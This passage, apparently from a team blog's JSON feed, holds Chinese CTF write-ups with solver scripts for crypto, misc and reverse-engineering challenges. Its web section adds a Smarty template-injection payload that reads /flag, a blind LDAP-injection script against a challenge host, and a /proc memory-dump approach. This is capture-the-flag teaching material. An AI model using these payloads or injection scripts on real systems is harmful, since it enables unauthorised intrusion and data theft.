# keys[1][1] = 13675268 # keys[2][0] = 10251687 # keys[2][1] = 12870274 # keys[3][0] = 6827786 # keys[3][1] = 12490757 # keys[4][0] = 2096572 # keys[4][1] = 3391233 # keys[5][0] = 15707475 # keys[5][1] = 4567418 # keys[6][0] = 14095476 # keys[6][1] = 3648155 # keys[7][0] = 14409690 # keys[7][1] = 8680011 # keys[9][0] = 9376523 # keys[9][1] = 2504390 keys = [[8343801, 13675268], [10251687, 12870274], [6827786, 12490757], [2096572, 3391233], [15707475, 4567418], [14095476, 3648155], [14409690, 8680011], [9376523, 2504390]] def xor(A, B): return bytes(a ^ b for a, b in zip(A, B)) the_chaos=b\u0026#39;\u0026#39; for i in keys: tmp = sum(i) the_chaos += bytes(long_to_bytes(tmp)) mask = hashlib.md5(the_chaos).digest() flag = xor(mask,n2s(0x1661fe85c7b01b3db1d432ad3c5ac83a)) print(flag) Misc This_is_A_tree 一个树型解密，随便找了个脚本改了改\n#!/usr/bin/python # -*- coding:utf8 -*- import os allFileNum = 0 file_contents_list = [] def printPath(level, path): global allFileNum # 所有文件夹，第一个字段是次目录的级别 dirList = [] # 所有文件 fileList = [] # exp global file_contents_list # exp # 返回一个列表，其中包含在目录条目的名称(google翻译) files = os.listdir(path) # 先添加目录级别 dirList.append(str(level)) for f in files: if(os.path.isdir(path + \u0026#39;/\u0026#39; + f)): # 排除隐藏文件夹。因为隐藏文件夹过多 if(f[0] == \u0026#39;.\u0026#39;): pass else: # 添加非隐藏文件夹 dirList.append(f) if(os.path.isfile(path + \u0026#39;/\u0026#39; + f)): # 添加文件 fileList.append(f) # exp添加内容 if f != \u0026#39;exp.py\u0026#39;: file_contents_list.append(open(path + \u0026#39;\\\\\u0026#39; + f, \u0026#39;r\u0026#39;).read()) # exp # 当一个标志使用，文件夹列表第一个级别不打印 i_dl = 0 for dl in dirList: if(i_dl == 0): i_dl = i_dl + 1 else: # 打印至控制台，不是第一个的目录 print(\u0026#39;-\u0026#39; * (int(dirList[0])), dl) # 打印目录下的所有文件夹和文件，目录级别+1 printPath((int(dirList[0]) + 1), path + \u0026#39;/\u0026#39; + dl) for fl in fileList: # 打印文件 print(\u0026#39;-\u0026#39; * (int(dirList[0])), fl) # 随便计算一下有多少个文件 allFileNum = allFileNum + 1 return file_contents_list if __name__ == \u0026#39;__main__\u0026#39;: contents_list = printPath(1, \u0026#39;D:\\\\CTF题目\\\\2021SCTF\\\\misc\\\\78afbe21e9334e83a265e984a1aa9ddd\u0026#39;) # print(\u0026#39;总文件数 =\u0026#39;, allFileNum) print(\u0026#34;\u0026#34;.join(contents_list)) 解密完base64一下是个八卦序列，师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫 https://blog.csdn.net/weixin_44110537/article/details/107494966\n脚本如下,输入换一下，删一点后面的就行\ndef decrypt4(enc): temp=\u0026#39;\u0026#39; offset=5 for i in range(len(enc)): temp+=chr(ord(enc[i])+offset+i) return temp def decrypt5(flag): for a in range(1,200): enc = \u0026#39;\u0026#39; for i in flag: for k in range(200): if (ord(i) - 97 - 7+26*k)%a==0: enc+= chr((ord(i) - 97 - 7 + 26 * k) // a + 97) break print(enc) s=\u0026#39;师 兑 复 损 巽 震 晋 姤 大过 讼 噬嗑 震 恒 节 豫\u0026#39; dic={\u0026#39;坤\u0026#39;: \u0026#39;000000\u0026#39;, \u0026#39;剥\u0026#39;: \u0026#39;000001\u0026#39;, \u0026#39;比\u0026#39;: \u0026#39;000010\u0026#39;, \u0026#39;观\u0026#39;: \u0026#39;000011\u0026#39;, \u0026#39;豫\u0026#39;: \u0026#39;000100\u0026#39;, \u0026#39;晋\u0026#39;: \u0026#39;000101\u0026#39;, \u0026#39;萃\u0026#39;: \u0026#39;000110\u0026#39;, \u0026#39;否\u0026#39;: \u0026#39;000111\u0026#39;, \u0026#39;谦\u0026#39;: \u0026#39;001000\u0026#39;, \u0026#39;艮\u0026#39;: \u0026#39;001001\u0026#39;, \u0026#39;蹇\u0026#39;: \u0026#39;001010\u0026#39;, \u0026#39;渐\u0026#39;: \u0026#39;001011\u0026#39;, \u0026#39;小过\u0026#39;: \u0026#39;001100\u0026#39;, \u0026#39;旅\u0026#39;: \u0026#39;001101\u0026#39;, \u0026#39;咸\u0026#39;: \u0026#39;001110\u0026#39;, \u0026#39;遁\u0026#39;: \u0026#39;001111\u0026#39;, \u0026#39;师\u0026#39;: \u0026#39;010000\u0026#39;, \u0026#39;蒙\u0026#39;: \u0026#39;010001\u0026#39;, \u0026#39;坎\u0026#39;: \u0026#39;010010\u0026#39;, \u0026#39;涣\u0026#39;: \u0026#39;010011\u0026#39;, \u0026#39;解\u0026#39;: \u0026#39;010100\u0026#39;, \u0026#39;未济\u0026#39;: \u0026#39;010101\u0026#39;, \u0026#39;困\u0026#39;: \u0026#39;010110\u0026#39;, \u0026#39;讼\u0026#39;: \u0026#39;010111\u0026#39;, \u0026#39;升\u0026#39;: \u0026#39;011000\u0026#39;, \u0026#39;蛊\u0026#39;: \u0026#39;011001\u0026#39;, \u0026#39;井\u0026#39;: \u0026#39;011010\u0026#39;, \u0026#39;巽\u0026#39;: \u0026#39;011011\u0026#39;, \u0026#39;恒\u0026#39;: \u0026#39;011100\u0026#39;, \u0026#39;鼎\u0026#39;: \u0026#39;011101\u0026#39;, \u0026#39;大过\u0026#39;: \u0026#39;011110\u0026#39;, \u0026#39;姤\u0026#39;: \u0026#39;011111\u0026#39;, \u0026#39;复\u0026#39;: \u0026#39;100000\u0026#39;, \u0026#39;颐\u0026#39;: \u0026#39;100001\u0026#39;, \u0026#39;屯\u0026#39;: \u0026#39;100010\u0026#39;, \u0026#39;益\u0026#39;: \u0026#39;100011\u0026#39;, \u0026#39;震\u0026#39;: \u0026#39;100100\u0026#39;, \u0026#39;噬嗑\u0026#39;: \u0026#39;100101\u0026#39;, \u0026#39;随\u0026#39;: \u0026#39;100110\u0026#39;, \u0026#39;无妄\u0026#39;: \u0026#39;100111\u0026#39;, \u0026#39;明夷\u0026#39;: \u0026#39;101000\u0026#39;, \u0026#39;贲\u0026#39;: \u0026#39;101001\u0026#39;, \u0026#39;既济\u0026#39;: \u0026#39;101010\u0026#39;, \u0026#39;家人\u0026#39;: \u0026#39;101011\u0026#39;, \u0026#39;丰\u0026#39;: \u0026#39;101100\u0026#39;, \u0026#39;离\u0026#39;: \u0026#39;101101\u0026#39;, \u0026#39;革\u0026#39;: \u0026#39;101110\u0026#39;, \u0026#39;同人\u0026#39;: \u0026#39;101111\u0026#39;, \u0026#39;临\u0026#39;: \u0026#39;110000\u0026#39;, \u0026#39;损\u0026#39;: \u0026#39;110001\u0026#39;, \u0026#39;节\u0026#39;: \u0026#39;110010\u0026#39;, \u0026#39;中孚\u0026#39;: \u0026#39;110011\u0026#39;, \u0026#39;归妹\u0026#39;: \u0026#39;110100\u0026#39;, \u0026#39;睽\u0026#39;: \u0026#39;110101\u0026#39;, \u0026#39;兑\u0026#39;: \u0026#39;110110\u0026#39;, \u0026#39;履\u0026#39;: \u0026#39;110111\u0026#39;, \u0026#39;泰\u0026#39;: \u0026#39;111000\u0026#39;, \u0026#39;大畜\u0026#39;: \u0026#39;111001\u0026#39;, \u0026#39;需\u0026#39;: \u0026#39;111010\u0026#39;, \u0026#39;小畜\u0026#39;: \u0026#39;111011\u0026#39;, \u0026#39;大壮\u0026#39;: \u0026#39;111100\u0026#39;, \u0026#39;大有\u0026#39;: \u0026#39;111101\u0026#39;, \u0026#39;夬\u0026#39;: \u0026#39;111110\u0026#39;, \u0026#39;乾\u0026#39;: \u0026#39;111111\u0026#39;} li=[] k=0 for i in range(len(s)): if k ==1: k=0 continue try: li.append(dic[s[i]]) except: t=\u0026#39;\u0026#39; t=t+s[i]+s[i+1] li.append(dic[t]) k=1 ss=\u0026#39;\u0026#39;.join(li) print(ss) enc=\u0026#39;\u0026#39; for i in range(0,len(ss),8): enc+=chr(eval(\u0026#39;0b\u0026#39;+ss[i:i+8])) import base64 print(enc) x=base64.b64decode(enc).decode() print(x) x=decrypt4(x) x=decrypt5(x) fumo_xor_cli nc 远程发现是通过五颜六色的字符打印出一个 gif，肉眼发现有两帧不一样，把 nc 到的字节流重定向到本地文件，然后手动把这两帧提取出来，都是 50*133 个字符的。\n无意间发现链接的公众号推送的最后一张图有异样，下载原图，仔细观察发现：\n有规律的藏有五颜六色的像素，提取出来，发现是 133*100 的，把这个拆成两个 50*133 ，然后都旋转为正的，将 4 张 50*133 的图异或，发现大部分都是 (0,0,0)，部分是三个一样的，再经过一些简单的图片处理，得到flag。\n全程处理数据的脚本：\nfrom PIL import Image import numpy as np def rerange(s): t = [] for i in range(len(s[0])): t.append([s[_][i] for _ in range(len(s))]) return t f = Image.open(\u0026#39;640.png\u0026#39;) a = np.array(f) cnt = 0 wx_list_1 = [] wx_list_2 = [] for i in range(len(a)): if i % 9 == 1 and i \u0026lt; 1190: b = a[i] now_list_1 = [] now_list_2 = [] cnt_j = 0 for j in range(len(b)): if j % 9 == 1: if cnt_j \u0026lt; 50: now_list_1.append(b[j]) else: now_list_2.append(b[j]) cnt_j += 1 wx_list_1.append(now_list_1) wx_list_2.append(now_list_2) cnt += 1 wx_list_1 = rerange(wx_list_1) wx_list_2 = rerange(wx_list_2) import re fp = open(\u0026#39;pic1.txt\u0026#39;, \u0026#39;rb\u0026#39;) list_1 = [] for line in fp.readlines(): pattern = re.compile(r\u0026#39;\\[\\d+;\\d+;(\\d+);(\\d+);(\\d+)ma\u0026#39;) a = pattern.findall(line.decode()) a = [(int(_[0]), int(_[1]), int(_[2])) for _ in a] list_1.append(a) fp.close() fp = open(\u0026#39;pic2.txt\u0026#39;, \u0026#39;rb\u0026#39;) list_2 = [] for line in fp.readlines(): pattern = re.compile(r\u0026#39;\\[\\d+;\\d+;(\\d+);(\\d+);(\\d+)m[a-zA-Z0-9\\:\\/\\.\\_]\u0026#39;) a = pattern.findall(line.decode()) a = [(int(_[0]), int(_[1]), int(_[2])) for _ in a] list_2.append(a) fp.close() fp = open(\u0026#39;pic3\u0026#39;, \u0026#39;wb\u0026#39;) for i in range(len(list_1)): a, b = wx_list_1[i], list_1[i] c, d = wx_list_2[i], list_2[i] for j in range(len(a)): r1, g1, b1 = a[j] r2, g2, b2 = b[j] r3, g3, b3 = c[j] r4, g4, b4 = d[j] r0 = r2 ^ r1 ^ r3 ^ r4 g0 = g2 ^ g1 ^ g3 ^ g4 b0 = b2 ^ b1 ^ b3 ^ b4 if r0 != 0: r0, b0, g0 = 255, 255, 255 # # c0 = chr(ord(c1) ^ ord(c2)) payload = \u0026#39;[38;2;%d;%d;%dm▇\u0026#39; % (r0, g0, b0) fp.write(b\u0026#39;\\x1b\u0026#39; + payload.encode()) fp.write(\u0026#39;\\n\u0026#39;.encode()) in_the_vaporwaves 用国赛的华为音响播放（应该是个非预期）直接听到了莫斯码，录音下来的结果\n摩斯码：\n.../-.-./-/..-./-.././.../.----/.-./...--/..--.-/-../.-./../...-/./.../..--.-/../-./-/-----/..--.-/...-/.-/.--./---/.-./.--/.--.-./...-/./... 解莫斯码得到flag\nlow_re vmp 壳，根据题目描述，应该无法逆向出正确的逻辑，什么信息都没有的情况下想到用 pintools 来试试，手动尝试发现长度是 17 位，并且指令数量差异很明显\n按位爆破：\nimport subprocess import string password = \u0026#34;S1deCh4nnelAtt@ck\u0026#34; cur = 17 charset = string.digits + string.ascii_letters + string.punctuation for i in charset: command = \u0026#34;echo \u0026#34; + password[:cur] + i + password[cur + 1:] + \u0026#34; | ./pin.exe -t source/tools/ManualExamples/obj-intel64/inscount0.dll -- ./low_re.exe; cat inscount.out\u0026#34; output = subprocess.check_output(command, shell=True, stderr=subprocess.PIPE) print (password[:cur] + i, output) 指令数量差异很明显，可以直接猜测单词加快速度\n","date":"2021-12-28T16:23:17+08:00","image":"https://or4ngesec.github.io/post/sctf2021-writeup-by-or4nge/cover_hu20e70d2f1ec0ceae4e2274ecf0db6e8c_615875_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/sctf2021-writeup-by-or4nge/","title":"SCTF2021 Writeup by or4nge"},{"content":"转载自战队成员博客: https://s0uthwood.github.io/post/two-challenges-in-kctf2021-fall/\n第一题 签到 这题还是比较容易的，需要一点点动调的经验\n上张队友的截图吧，懒得自己截了\n动调看看内存就知道，流程是：\nserial-\u0026gt;十进制-\u0026gt;与name的crc异或-\u0026gt;计算crc\n最后需要是一个固定的值，于是只需要想办法反解就行了\n这里注意到了一个事情，那就是图中看似是对 v6 的 crc 结果做了约束，其实是对 v6 本身进行了约束\n由于题目给了一个实例的 name 和 serial，我们只需要动调拿到这个的 v6，就知道能通过验证的 v6 是多少了\n接下来动调拿一下 KCTF 的 crc，这个的结果再异或一下目标的 v6，就得到serial了\n靠记忆写的，希望没错\n第二题 迷失丛林 这题就直接放提交的wp了\n很容易定位到程序的输入\n输入长度为32，需要通过 sub_4014A0, sub_401580 的验证\n4014A0 较为简单，是个经典的hexstr转成char存到 4041F0 这个地址，最后的16是计算转换后的长度，所以输入就是 [0-9A-F]{32}\n随后将输入的前八字节存入 404000 中，剩下的部分传参进 sub_401580\n要想让该函数返回1，需要先通过如下的if验证\n简单看一下使用的变量，应该是对前八字节的输入进行的验证\n结合动调发现大概就是根据404000数组，构成一个 \u0026lt;value, index\u0026gt; 的结构，两两存放到404420当中\n分析了一下404000数组的作用和特征，发现这个数组应该是构成一个环状的结构（以当前数值作为索引寻找下一个数），猜测不能有重复的数字，否则可能会构成小循环之类的，用脚本验证了一下发现后面248个数字果然没有重复，于是将前八字节的取值可能锁定到了 0x1e, 0x28, 0x4b, 0x6d, 0x8c, 0xa3, 0xd2, 0xfb 中，总共有 $8!=40320$ 种可能，完全可以爆破\n把ida代码复制下来改一改\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; #include \u0026lt;algorithm\u0026gt; #include \u0026lt;cstring\u0026gt; unsigned char byte_404000[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x9B, 0xF4, 0xDF, 0xAC, 0x7C, 0xA1, 0xC6, 0x16, 0xD0, 0x0F, 0xDD, 0xDC, 0x73, 0xC5, 0x6B, 0xD1, 0x96, 0x47, 0xC2, 0x26, 0x67, 0x4E, 0x41, 0x82, 0x20, 0x56, 0x9A, 0x6E, 0x33, 0x92, 0x88, 0x29, 0xB5, 0xB4, 0x71, 0xA9, 0xCE, 0xC3, 0x34, 0x50, 0x59, 0xBF, 0x2D, 0x57, 0x22, 0xA6, 0x30, 0x04, 0xB2, 0xCD, 0x36, 0xD5, 0x68, 0x4D, 0x5B, 0x45, 0x9E, 0x85, 0xCF, 0x9D, 0xCC, 0x61, 0x78, 0x32, 0x76, 0x31, 0xE3, 0x80, 0xAD, 0x39, 0x4F, 0xFA, 0x72, 0x83, 0x4C, 0x86, 0x60, 0xB7, 0xD7, 0x63, 0x0C, 0x44, 0x35, 0xB3, 0x7B, 0x19, 0xD4, 0x69, 0x08, 0x0B, 0x1F, 0x3D, 0x11, 0x79, 0xD3, 0xEE, 0x93, 0x42, 0xDE, 0x23, 0x3B, 0x5D, 0x8D, 0xA5, 0x77, 0x5F, 0x58, 0xDB, 0x97, 0xF6, 0x7A, 0x18, 0x52, 0x15, 0x74, 0x25, 0x62, 0x2C, 0x05, 0xE8, 0x0D, 0x98, 0x2A, 0x43, 0xE2, 0xEF, 0x48, 0x87, 0x49, 0x1C, 0xCA, 0x2B, 0xA7, 0x8A, 0x09, 0x81, 0xE7, 0x53, 0xAA, 0xFF, 0x6F, 0x8E, 0x91, 0xF1, 0xF0, 0xA4, 0x46, 0x3A, 0x7D, 0x54, 0xEB, 0x2F, 0xC1, 0xC0, 0x0E, 0xBD, 0xE1, 0x6C, 0x64, 0xBE, 0xE4, 0x02, 0x3C, 0x5A, 0xA8, 0x9F, 0x37, 0xAF, 0xA0, 0x13, 0xED, 0x1B, 0xEC, 0x8B, 0x3E, 0x7E, 0x27, 0x99, 0x75, 0xAB, 0xFE, 0xD9, 0x3F, 0xF3, 0xEA, 0x70, 0xF7, 0x95, 0xBA, 0x1D, 0x40, 0xB0, 0xF9, 0xE5, 0xF8, 0x06, 0xBC, 0xB6, 0x03, 0xC9, 0x10, 0x9C, 0x2E, 0x89, 0x5C, 0x7F, 0xB1, 0x1A, 0xD6, 0x90, 0xAE, 0xDA, 0xE6, 0x5E, 0xB9, 0x84, 0xE9, 0x55, 0xBB, 0xC7, 0x0A, 0xE0, 0x66, 0xF2, 0xD8, 0xCB, 0x00, 0x12, 0xB8, 0x17, 0x94, 0x6A, 0x4A, 0x01, 0x24, 0x14, 0x51, 0x07, 0x65, 0x21, 0xC8, 0x38, 0xFD, 0x8F, 0xC4, 0xF5, 0xFC }; unsigned char byte_404220[520]; unsigned char byte_404420[65537]; int dword_404100[] = {2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0}; using namespace std; int sub_401580(unsigned char *a2) { int v2; // ebp unsigned char *v3; // eax int *v4; // esi unsigned char *v5; // ecx int v6; // edi unsigned char *v7; // ecx int v8; // edx unsigned char *v9; // eax int v10; // ecx int v11; // esi int v12; // eax unsigned char v13; // dl int v14; // edi int v15; // eax int v16; // ecx int v17; // esi int i; // eax char v19; // dl unsigned char v21; // [esp+10h] [ebp-Ch] unsigned char v22; // [esp+11h] [ebp-Bh] unsigned char v23; // [esp+12h] [ebp-Ah] unsigned char v24; // [esp+13h] [ebp-9h] unsigned char *v25; // [esp+14h] [ebp-8h] v21 = 0; v22 = 0; v23 = 0; v24 = 0; v2 = 1; v25 = byte_404420; for (i = 0; i \u0026lt; 8; i++) byte_404000[i] = a2[i]; do { byte_404220[0] = byte_404000[v2 - 1]; byte_404220[1] = v2; v3 = byte_404220; v4 = dword_404100; v5 = \u0026amp;byte_404220[dword_404100[0]]; do { v6 = *v4; // 2, 4, 8, 10h, 20h, 40h, 80h if ( *v4 \u0026gt; 0 ) { do { v7 = v5 + 1; *(v7 - 1) = byte_404000[*v3]; *v7 = *v3 + 1; v5 = v7 + 1; ++v3; --v6; } while ( v6 ); } ++v4; } while ( v4 \u0026lt; \u0026amp;(dword_404100[7]) ); v8 = 256; do { ++v25[*v3++]; --v8; } while ( v8 ); ++v2; v25 += 256; } while ( v2 - 1 \u0026lt; 256 ); v9 = \u0026amp;byte_404420[0x28]; v10 = 256; do { if ( *(v9 - 40) ) ++v21; if ( *(v9 - 26) ) ++v22; if ( *v9 ) ++v23; if ( v9[39] ) ++v24; v9 += 256; --v10; } while ( v10 ); if ( v21 == 0xA9 \u0026amp;\u0026amp; v22 == 0xAC \u0026amp;\u0026amp; v23 == 0xA7 \u0026amp;\u0026amp; v24 \u0026gt; 0xC8u ){ for (i = 0; i \u0026lt; 8; i++){ printf(\u0026#34;%hhX\u0026#34;, a2[i]); } } return 0; } int main(){ unsigned char flag[] = {0x1e, 0x28, 0x4b, 0x6d, 0x8c, 0xa3, 0xd2, 0xfb}; do{ memset(byte_404420, 0, 65536); sub_401580(flag); }while (next_permutation(flag, flag + 8)); return 0; } 转换一下得到前八字节 B4D682C8BF2DE13A\n确定前八字节后，只需要关注和参数（后八字节）有关的部分了，中间全部动调跳过\n这一部分程序相较来说就简单了不少，主要是根据404000开头的八个字节作为初始值，每个字节单独与输入的八个字节进行运算，根据末尾bit决定是+1还是找索引，最终目的是凑成 GoodJob~ 这个字符串（sub_4024C0 是个字符串比较）\n可以使用搜索之类的，但考虑到每个字节是单独运算的，常规爆破也只需要 0x800 的运算量，所以还是直接爆破了\n#include \u0026lt;stdio.h\u0026gt; unsigned char byte_414420[] = {0xC1, 0x9B, 0x7F, 0x58, 0x64, 0xD5, 0x77, 0x21}; unsigned char byte_404000[] = { 0xC1, 0x9B, 0x7F, 0x58, 0x64, 0xD5, 0x77, 0x21, 0x74, 0xEB, 0x14, 0xBF, 0xDF, 0x25, 0x5A, 0x37, 0x85, 0x2C, 0xAF, 0x8C, 0xDA, 0x26, 0xE2, 0x7A, 0x87, 0x4C, 0x60, 0x99, 0x54, 0x3C, 0x95, 0xC0, 0xB9, 0x0C, 0xBC, 0x0E, 0xE7, 0x2D, 0x86, 0xBE, 0x67, 0xD3, 0xD8, 0xFC, 0x30, 0xB6, 0xC8, 0x57, 0x1E, 0x62, 0x3E, 0xCE, 0xA0, 0xCD, 0xF5, 0xEE, 0xA7, 0xCF, 0x45, 0xFE, 0xD0, 0x80, 0x05, 0xAD, 0x13, 0xF3, 0xB7, 0x6B, 0x22, 0x2B, 0xBD, 0x69, 0x42, 0x4B, 0xA5, 0xEA, 0xA6, 0xD2, 0x6F, 0x4F, 0x4E, 0x07, 0xE1, 0x36, 0x01, 0xB5, 0xAA, 0xB1, 0x94, 0x0B, 0x35, 0x3A, 0xC7, 0x49, 0x53, 0x82, 0xC3, 0x7B, 0x32, 0xFF, 0x19, 0xC4, 0xF1, 0xC9, 0xE8, 0xF7, 0x56, 0x15, 0xA3, 0x46, 0x89, 0x43, 0x9D, 0x8F, 0x20, 0xEF, 0xBB, 0x2A, 0xCB, 0x09, 0x93, 0x4A, 0x1C, 0xE3, 0x33, 0xD1, 0xE0, 0x1D, 0x72, 0x7C, 0x27, 0xE9, 0x17, 0x28, 0x6D, 0x6A, 0xD9, 0x00, 0x9A, 0xE5, 0x63, 0xDE, 0x23, 0x9F, 0x0D, 0x47, 0x3B, 0x65, 0x08, 0x84, 0x6C, 0x1A, 0x88, 0x12, 0xA1, 0xA4, 0xB3, 0x18, 0x24, 0x1B, 0xD7, 0x44, 0xDB, 0xAC, 0x6E, 0x7D, 0x51, 0x5E, 0xED, 0x50, 0xD6, 0x11, 0x5B, 0x9C, 0xB4, 0x68, 0x3D, 0x2F, 0x03, 0x40, 0xBA, 0x2E, 0xCA, 0x02, 0xE6, 0xA8, 0xEC, 0x83, 0x06, 0x5D, 0xB8, 0x4D, 0x97, 0x66, 0xF0, 0xFB, 0x8A, 0x55, 0xAB, 0xB2, 0x04, 0xFA, 0x0A, 0x31, 0x71, 0xCC, 0x8B, 0x73, 0xA9, 0x48, 0x5C, 0xF9, 0x98, 0xE4, 0xC6, 0x34, 0xC5, 0x7E, 0x81, 0x75, 0x90, 0x1F, 0x92, 0x3F, 0x9E, 0x10, 0x29, 0x52, 0x39, 0xF4, 0x41, 0x78, 0x5F, 0x16, 0x79, 0xC2, 0xB0, 0xDD, 0xF2, 0x61, 0x0F, 0x70, 0xD4, 0x91, 0xDC, 0xF6, 0xF8, 0xFD, 0x59, 0x38, 0x8D, 0x96, 0xAE, 0x8E, 0x76, 0xA2 }; int calc(unsigned char a2, int i){ int v17; // esi char v19; // dl v17 = 0; do { if ( v17 \u0026gt;= 8 ) { if ( !i || i == 7 ) --byte_414420[i]; } else { if ( (a2 \u0026amp; 1) != 0 ) v19 = byte_414420[i] + 1; else v19 = byte_404000[byte_414420[i]]; byte_414420[i] = v19; a2 \u0026gt;\u0026gt;= 1; } ++v17; } while ( v17 \u0026lt; 9 ); return byte_414420[i]; } int main(){ int i = 0; unsigned char a = 0; unsigned char b[] = \u0026#34;GoodJob~\u0026#34;; for (int j = 0; j \u0026lt; 8; j++){ for (i = 0; i \u0026lt; 0x100; i++){ a = i \u0026amp; 0xff; for (int k = 0; k \u0026lt; 8; k++){ byte_414420[k] = byte_404000[k]; } calc(a, j); if (byte_414420[j] == b[j]) printf(\u0026#34;%d %x\\n\u0026#34;, j, a); } } return 0; } 最后得到下半段验证码 D9B6AEF24A80CB22\n第七题 声名远扬 这题做完后懒了，没有交wp\n初步分析了一下，看到一些字符串，发现这题用了 duilib 架构\n很多人的 wp 写的是用虚表找到验证函数，但我对虚表不太了解，做题的时候是用的动调下断点的方式做的\n动调的时候搜索字符串，发现能找到输入，然后在输入处下个硬件断点，能够断到 strlen，出来后还能看到 strncpy，但在这里断是不对的，因为没有点击检查，所以无论如何也进不了验证函数，于是朋友在获取消息的地方加了个消息断点，这时候再用硬件断点断下来，然后不断取消当前断点，在 strncpy 到的地方下新的断点，就能够进入到加密函数\n这个 base64 应该还是很容易看出来的，但动调拿结果能发现明显换表了，函数往里跟也不好跟，于是直接用动调拿结果\n这里构造了一个长度为 50 的输入，能够得到所有的 base64 字符\n输入：n++j'^aKgJ9*|an@@o$|8)9z#-;\u0026lt;\u0026lt;v789ghistu:/\u0026gt;^c?,/@YZ\n标准表下的输出：bisraideYUtnSjkqfGFuQEBvJHw4KTl6Iy07PDx2Nzg5Z2hpc3R1Oi8+XmM/LC9AWVo=\n这个输入就可以总结出这个题的 base 表了\nprvo9CHSJOcPIb6xRVUXQz0qBGDE72LNZduaefYT5K_8-4FAhlimjkngt1yMWs3w!\n接下来继续用动调找验证函数\n可以看到 v17 = xxx | 0x3300000000\n而最后的 call 是 MK_FP(WORD2(v17), v17)()\n结合着 32 位程序，猜测是一个天堂之门\n把调用的函数取出来，ida64 反编译一下\n这个函数大致猜测一下，显然是要求 v8 == v9[v28 - a1] 一直成立\n一开始的 do while 循环是对目标密文做了个解密，于是动调到验证的地方看一下内存\nGYldGg-iIoJlPX9hPXpjPqfdEY21B01TBTzeGqfKNR!!\n前面已经知道了 ! 就是这里 base64 的填充，于是这个字符串就是密文了\n换表 base64 的解密\n把表换回来之后的密文：\nZmxhZ3syMDIxLTEwLTA0LXlhbmd5YW5nYnVkZXlpfQ==\n明显的 flag 标志 Zmxh\n","date":"2021-12-23T22:23:17+08:00","image":"https://or4ngesec.github.io/post/kctf2021-fall-writeup-by-or4nge/cover_hufd6827b5e92508a15177056d76ff05d4_2462797_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/kctf2021-fall-writeup-by-or4nge/","title":"KCTF2021 Fall Writeup by or4nge"},{"content":"* 开头题目表示赛后补题\nWeb [签到]flag 等一个一个拼出来，业余web手的笨B做题法\n[萌]odd_upload 题目描述：目录结构与官方项目example相同\n所以去查看smarty的目录结构，同时上传文件发现过滤了php相关的很多后缀，但.tpl没有过滤，同时可以控制上传的目录，所以向./templates目录上传header.tpl覆盖原有的内容，添加一句：{system('cat /flag')}，之后再重新访问题目链接就能获取flag。\nflag{1ae85554-c785-4321-8d77-0f68974929f8}\neasyinject 源码中提示了用户名为guest，密码为EC77k8RHquAMLKAX，登陆后提示\nThe flag is a special email address username.It is attribute of one account and there are multiple accounts in the directory. flag is composed of a-z0-9_\n说实话这个提示看得我云里雾里，attribute我能理解，directory是啥？\n按照常规sql注入没发现什么注入点，但是用fuzz跑的时候发现如果用户名含有\u0026rsquo;(\u0026lsquo;或者\u0026rsquo;)\u0026lsquo;就会报错：\nWarning: ldap_search(): Search: Bad search filter in /var/www/html/index.php on line 48 Warning: ldap_get_entries() expects parameter 2 to be resource, boolean given in /var/www/html/index.php on line 49 有报错就好说了，后端用的是ldap协议，flag是某个用户的用户名，可以直接用通配符*盲注，由于有多个用户，需要递归查找，exp如下：\nimport requests url = \u0026#34;http://47.106.172.144:2333/\u0026#34; alphabet = \u0026#39;abcdefghijklmnopqrstuvwxyz0123456789_\u0026#39; def search(flag): for c in alphabet: # print(flag+c+\u0026#39;*\u0026#39;) r = requests.get(url, params={\u0026#39;user\u0026#39;:flag+c+\u0026#39;*\u0026#39;, \u0026#39;pass\u0026#39;:\u0026#39;1\u0026#39;}) if \u0026#39;找不到用户\u0026#39; in r.text: pass elif \u0026#39;查询用户不唯一\u0026#39; in r.text or \u0026#39;密码错误\u0026#39; in r.text: # print(c+\u0026#39;\\n\u0026#39;+r.text) print(flag+c) search(flag+c) else: print(\u0026#39;Error: [\u0026#39;+c+\u0026#39;]\\n\u0026#39;+r.text) search(\u0026#39;\u0026#39;) *hideandseek 和web没有啥关系，和二进制全是关系。\n先附上打本地的DockerFile:\nFROM php:8.1.0 ADD ./src /var/www/html ADD ./flag /flag WORKDIR /var/www/html/ RUN chmod -R 0555 /var/www/html/ CMD [\u0026#34;php\u0026#34;, \u0026#34;-S\u0026#34;, \u0026#34;0.0.0.0:8000\u0026#34;, \u0026#34;-t\u0026#34;, \u0026#34;/var/www/html\u0026#34;] 这题上先读flag，然后把flag给覆盖了，你只有一次执行任意代码的机会。\n思路上来一下子就指向了/proc，进程目录，我们肯定是能通过分析这个进程把flag拿到了。目前已知的/proc的博客有：\nhttps://whoamianony.top/2021/06/09/Web%E5%AE%89%E5%85%A8/Proc%20%E7%9B%AE%E5%BD%95%E5%9C%A8%20CTF%20%E4%B8%AD%E7%9A%84%E5%A6%99%E7%94%A8/\nhttps://xz.aliyun.com/t/10579\n第一反应是读fd，看看文件的符号链接，如果fopen了，但没fclose就有可能在fd里找到，本地一试发现没有。\n于是考虑利用别的，比如./exe，是一个ELF文件，但可惜strings ./exe没用，因为flag变量是在运行时读取的，生成elf是不存在这个字符串的，于是就读./mem，/proc/{PID}/mem是可用于访问进程的内存的页面。但是发现读取失败了，报错如下：\ncat mem: Input/output error 搜到了解释原因：https://unix.stackexchange.com/questions/6301/how-do-i-read-from-proc-pid-mem-under-linux\n/proc/$pid/mem显示$pid 内存的内容与进程中的映射方式相同，即伪文件中偏移x处的字节与进程中地址x处的字节相同。如果在进程中未映射地址，则从文件中的相应偏移量读取返回EIO（输入/输出错误）。例如，由于进程中的第一页永远不会被映射（因此取消引用NULL指针会完全失败，而不是无意中访问实际内存），因此读取 的第一个字节/proc/$pid/mem总是会产生 I/O 错误。\n同时也拿到了一份用python拿内存信息的脚本：\nimport re maps_file = open(\u0026#34;/proc/self/maps\u0026#34;, \u0026#39;r\u0026#39;) mem_file = open(\u0026#34;/proc/self/mem\u0026#34;, \u0026#39;rb\u0026#39;, 0) output_file = open(\u0026#34;self.dump\u0026#34;, \u0026#39;wb\u0026#39;) for line in maps_file.readlines(): # for each mapped region m = 